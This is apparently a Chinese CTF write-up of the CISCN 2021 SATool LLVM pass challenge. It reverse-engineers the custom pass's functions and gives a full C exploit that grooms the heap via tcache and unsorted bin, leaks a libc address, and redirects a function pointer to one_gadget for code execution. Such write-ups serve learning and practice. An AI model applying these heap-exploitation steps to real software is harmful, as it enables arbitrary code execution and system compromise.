LLVM PASS PWN (二)
字数 1224 2025-08-26 22:11:40
LLVM PASS PWN 漏洞利用深度解析
1. 背景介绍
LLVM PASS PWN 是一种针对 LLVM 优化器(opt)及其自定义 PASS 模块的安全漏洞利用技术。本文以 CISCN 2021 SATool 题目为例,详细讲解如何分析、调试和利用 LLVM PASS 中的漏洞。
2. 环境准备
2.1 必要组件
- LLVM 8.0.1 版本的 opt 工具
- 自定义 PASS 模块 (SAPass.so)
- 配套的 libc-2.27.so 和 libstdc++.so.6.0.25
2.2 调试环境搭建
gdb /bin/opt-12
set args [PASS参数] [输入文件]
3. 漏洞分析
3.1 目标识别
- 攻击目标:opt 工具加载的自定义 PASS 模块 (SAPass.so)
- 关键函数:重写的
runOnFunction方法
3.2 逆向分析关键点
3.2.1 函数名检查
if (v3 == 8 && *Name == 'r0oDkc4B') // 实际检查 "B4ckDo0r"
- 只处理名为 "B4ckDo0r" 的函数
- 函数名长度必须为 8 字节
3.2.2 函数功能分析
-
save 函数
- 需要两个参数
- 将参数存入堆内存中
- 关键结构:
heap_ptr[0] = param1; heap_ptr[1] = param2;
-
takeaway 函数
- 操作:
heap_ptr = (_QWORD *)heap_ptr[2]; - 效果:移动堆指针
- 操作:
-
stealkey 函数
- 操作:
byte_204100 = *heap_ptr; - 效果:将 save 的第一个参数存入全局变量
- 操作:
-
fakekey 函数
- 需要一个整数参数
- 操作:
byte_204100 += param; *heap_ptr += param;
-
run 函数
- 关键操作:
(*heap_ptr)(); - 效果:执行 heap_ptr 指向的地址
- 关键操作:
4. 漏洞利用
4.1 利用思路
- 通过 save 函数在堆上布置数据
- 利用 takeaway 操作堆指针
- 通过 stealkey 和 fakekey 修改关键指针
- 最终通过 run 执行 shellcode 或 one_gadget
4.2 具体步骤
-
堆布局
- 连续调用 save 填满 tcache
- 最后一次 save 触发 unsorted bin
save("z1r0", "z1r0"); // 7次填满tcache save("", "z1r0"); // 触发unsorted bin -
泄露 libc 地址
- stealkey 将 main_arena 地址存入全局变量
stealkey(); -
计算 one_gadget 偏移
- 计算 main_arena+112 到 one_gadget 的偏移
main_arena+112: 0x7ffff4025bf0 libc_base: 0x7ffff3e39000 offset: 0x1ecbf0 one_gadget: 0xe3afe 最终偏移: -0x1090f2 -
修改函数指针
fakekey(-0x1090f2); // 将*heap_ptr改为one_gadget -
触发执行
run(); // 执行one_gadget
4.3 完整利用代码
#include <stdio.h>
void save(char *a, char *b){}
void takeaway(char *c){}
void stealkey(){}
void fakekey(int d){}
void run(){}
int B4ckDo0r(){
// 填满tcache并触发unsorted bin
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("", "z1r0");
// 泄露地址并修改为one_gadget
stealkey();
fakekey(-0x1090f2);
// 触发执行
run();
return 0;
}
5. 调试技巧
-
模块加载检测
- 使用
vmmap确认 PASS 模块是否加载成功 - 在模块基址+偏移处下断点
- 使用
-
动静结合分析
- 编写最小测试用例逐步验证
- 结合 IDA 静态分析与 GDB 动态调试
-
关键断点设置
b *(SAPass.so基址+0x1A14) // 检查函数名 b *(SAPass.so基址+0x1A9E) // 检查printf调用
6. 总结
- LLVM PASS PWN 的核心是分析自定义 PASS 中的漏洞
- 关键点在于识别重写的 runOnFunction 及其处理逻辑
- 利用堆操作和指针修改实现任意代码执行
- 动静结合分析是快速理解复杂逻辑的有效方法
7. 扩展思考
- 不同 LLVM 版本的差异对利用的影响
- 其他可能存在的 PASS 漏洞模式
- 如何防护此类漏洞(如签名验证、权限控制等)